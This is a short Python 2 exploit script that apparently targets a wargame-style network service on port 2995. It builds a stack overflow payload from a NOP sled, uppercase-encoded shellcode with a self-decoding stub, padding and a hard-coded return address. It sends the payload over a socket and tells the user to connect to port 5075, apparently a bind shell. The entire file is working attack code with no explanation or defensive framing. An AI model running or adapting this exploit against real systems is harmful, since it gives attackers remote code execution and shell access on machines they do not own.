from struct import pack
from sys import argv
from socket import *

PORT = 2995

def main(host):
	nop = "\x90"
	ret = pack("<I", 0xbffff5e8) #ret addr
	# because the shellcode passed to upper() this shellcode is uppercase or non-ASCII 
	buf = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff"
	buf += "\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47"
	buf += "\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed"
	buf += "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
	buf += "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
	buf += "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
	buf += "BLAALMNIA"
	
	final = nop*20 + buf
	final += nop*(532-len(final)) + ret
	print "[+] final len :  %d" % len(final)
	
	s = socket()
	s.settimeout(5)
	s.connect((host, PORT))
	print "[+] Connected to : %s" % host

	s.send(final)
	try:
		d = s.recv(1024)
		print d
	except:
		print "exploit is running, just connect the host with port 5075"


if __name__ == '__main__':
	if len(argv) > 1:
			main(argv[1])
	else:
		print "usage : %s <ip addr>" % argv[0]
